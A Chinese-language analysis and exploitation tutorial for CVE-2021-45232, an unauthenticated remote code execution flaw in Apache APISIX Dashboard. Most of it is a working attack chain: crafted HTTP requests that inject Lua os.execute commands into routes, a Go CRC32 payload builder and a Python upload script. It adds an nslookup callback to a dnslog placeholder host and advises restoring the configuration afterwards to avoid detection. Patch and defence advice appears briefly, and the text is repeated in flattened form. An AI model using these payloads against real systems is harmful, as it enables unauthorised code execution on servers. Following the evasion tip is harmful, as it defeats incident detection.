CVE-2021-45232 Apache-apisix-dashboard RCE 分析与思考
字数 1717 2025-08-29 08:30:36

Apache APISIX Dashboard RCE漏洞(CVE-2021-45232)深度分析与利用教学

漏洞概述

CVE-2021-45232是Apache APISIX Dashboard中的一个高危漏洞,允许攻击者通过未授权访问特定API实现远程代码执行(RCE)。该漏洞存在于Manager API中,由于部分接口绕过身份验证机制,导致攻击者可以操控路由配置并注入恶意Lua脚本。

受影响版本

  • Apache APISIX Dashboard < 2.10.1

漏洞原理

身份验证绕过

漏洞的根本原因是Manager API在gin框架基础上引入了droplet框架,但部分API直接使用了gin框架的接口,从而绕过了droplet框架的身份验证机制。具体来说,以下两个关键API可以未授权访问:

  1. /apisix/admin/migrate/export - 导出当前配置
  2. /apisix/admin/migrate/import - 导入新配置

RCE实现机制

APISIX在请求转发过程中允许用户自定义Lua脚本,这是其设计特性。攻击者可以通过修改路由配置,在script字段中插入恶意Lua代码(如os.execute()),当该路由被访问时就会执行相应命令。

环境搭建

使用Docker快速搭建漏洞环境:

git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/

修改docker-compose.yml文件,确保使用存在漏洞的版本:

  • apache/apisix-dashboard:2.7
  • apache/apisix:2.6-alpine

注意版本匹配问题,apisix-dashboard-2.7需要与apisix-2.6配合使用。

漏洞复现步骤

授权情况下的RCE

  1. 访问Dashboard(默认端口9000),使用admin/admin登录
  2. 创建Upstream:
    • Name: 任意
    • Targets: 填写目标服务地址(如内置Grafana应用,端口3000)
  3. 创建Route:
    • Name: 任意
    • Path: 自定义路径(如/rce1)
    • Select Upstream: 选择刚创建的Upstream
  4. 抓包修改Route配置:
    在编辑Route时拦截请求,添加script字段:
PUT /apisix/admin/routes/387835847795278530 HTTP/1.1
Host: 192.168.1.129:9000
Content-Type: application/json;charset=UTF-8
Authorization: [your_token]

{
  "uris": ["/rce1"],
  "methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"],
  "priority": 0,
  "name": "rce1",
  "status": 1,
  "labels": {},
  "script": "os.execute('touch /tmp/yyztest')",
  "upstream_id": "387837637639013058"
}
  1. 访问触发路由:http://[target]:9080/rce1
  2. 验证命令执行:检查Docker容器中是否创建了/tmp/yyztest文件

未授权情况下的RCE

  1. 导出当前配置:
GET /apisix/admin/migrate/export HTTP/1.1
Host: 192.168.1.129:9000
  1. 修改配置文件,在Routes和Scripts部分添加恶意脚本:
{
  "Routes": [{
    "id": "387929469693723331",
    "uris": ["/rce1"],
    "name": "rce1",
    "methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"],
    "script": "os.execute('touch /tmp/yyztest22')",
    "script_id": "387929469693723331",
    "upstream_id": "387928730657358531",
    "status": 1
  }],
  "Scripts": [{
    "id": "387929469693723331",
    "script": "os.execute('touch /tmp/yyztest22')"
  }]
}
  1. 计算新的CRC32校验和(Go示例):
package main

import (
  "encoding/binary"
  "hash/crc32"
  "io/ioutil"
  "os"
)

func main() {
  data := []byte(`{...your modified config...}`)
  checksumUint32 := crc32.ChecksumIEEE(data)
  checksum := make([]byte, 4)
  binary.BigEndian.PutUint32(checksum, checksumUint32)
  fileBytes := append(data, checksum...)
  ioutil.WriteFile("apisixPayload", fileBytes, os.ModePerm)
}
  1. 使用Python上传修改后的配置:
import requests

url = "http://192.168.1.129:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
  1. 访问触发路由:http://[target]:9080/rce1

漏洞修复

升级到Apache APISIX Dashboard 2.10.1或更高版本。修复方案主要是在api\internal\filter\authentication.go中新增了Authentication()函数,并在路由处理中强制进行鉴权。

检测与验证

由于该RCE无回显,可通过以下方式验证:

  1. DNS查询:使用os.execute('nslookup yourdomain.dnslog.cn')
  2. 文件时间戳:检查特定文件的修改时间(Linux下)
  3. 网络流量:监控出站连接

技术要点总结

  1. 漏洞根源在于部分API绕过droplet框架的鉴权
  2. 利用APISIX支持自定义Lua脚本的特性实现RCE
  3. 通过导出/导入配置功能实现未授权操作
  4. 配置文件需要正确的CRC32校验和
  5. 攻击后注意恢复原始配置以避免被发现

防御建议

  1. 及时升级到安全版本
  2. 限制APISIX Dashboard的管理接口访问
  3. 监控配置文件的异常修改
  4. 审计Lua脚本内容,限制危险函数使用

参考资源

  1. 官方文档:https://apisix.apache.org/
  2. CVE详情:https://nvd.nist.gov/vuln/detail/CVE-2021-45232
  3. 修复提交:https://github.com/apache/apisix-dashboard/commit/...
Apache APISIX Dashboard RCE漏洞(CVE-2021-45232)深度分析与利用教学 漏洞概述 CVE-2021-45232是Apache APISIX Dashboard中的一个高危漏洞,允许攻击者通过未授权访问特定API实现远程代码执行(RCE)。该漏洞存在于Manager API中,由于部分接口绕过身份验证机制,导致攻击者可以操控路由配置并注入恶意Lua脚本。 受影响版本 Apache APISIX Dashboard < 2.10.1 漏洞原理 身份验证绕过 漏洞的根本原因是Manager API在gin框架基础上引入了droplet框架,但部分API直接使用了gin框架的接口,从而绕过了droplet框架的身份验证机制。具体来说,以下两个关键API可以未授权访问: /apisix/admin/migrate/export - 导出当前配置 /apisix/admin/migrate/import - 导入新配置 RCE实现机制 APISIX在请求转发过程中允许用户自定义Lua脚本,这是其设计特性。攻击者可以通过修改路由配置,在 script 字段中插入恶意Lua代码(如 os.execute() ),当该路由被访问时就会执行相应命令。 环境搭建 使用Docker快速搭建漏洞环境: 修改 docker-compose.yml 文件,确保使用存在漏洞的版本: apache/apisix-dashboard:2.7 apache/apisix:2.6-alpine 注意版本匹配问题,apisix-dashboard-2.7需要与apisix-2.6配合使用。 漏洞复现步骤 授权情况下的RCE 访问Dashboard(默认端口9000),使用admin/admin登录 创建Upstream: Name: 任意 Targets: 填写目标服务地址(如内置Grafana应用,端口3000) 创建Route: Name: 任意 Path: 自定义路径(如/rce1) Select Upstream: 选择刚创建的Upstream 抓包修改Route配置: 在编辑Route时拦截请求,添加 script 字段: 访问触发路由: http://[target]:9080/rce1 验证命令执行:检查Docker容器中是否创建了 /tmp/yyztest 文件 未授权情况下的RCE 导出当前配置: 修改配置文件,在Routes和Scripts部分添加恶意脚本: 计算新的CRC32校验和(Go示例): 使用Python上传修改后的配置: 访问触发路由: http://[target]:9080/rce1 漏洞修复 升级到Apache APISIX Dashboard 2.10.1或更高版本。修复方案主要是在 api\internal\filter\authentication.go 中新增了 Authentication() 函数,并在路由处理中强制进行鉴权。 检测与验证 由于该RCE无回显,可通过以下方式验证: DNS查询:使用 os.execute('nslookup yourdomain.dnslog.cn') 文件时间戳:检查特定文件的修改时间(Linux下) 网络流量:监控出站连接 技术要点总结 漏洞根源在于部分API绕过droplet框架的鉴权 利用APISIX支持自定义Lua脚本的特性实现RCE 通过导出/导入配置功能实现未授权操作 配置文件需要正确的CRC32校验和 攻击后注意恢复原始配置以避免被发现 防御建议 及时升级到安全版本 限制APISIX Dashboard的管理接口访问 监控配置文件的异常修改 审计Lua脚本内容,限制危险函数使用 参考资源 官方文档:https://apisix.apache.org/ CVE详情:https://nvd.nist.gov/vuln/detail/CVE-2021-45232 修复提交:https://github.com/apache/apisix-dashboard/commit/...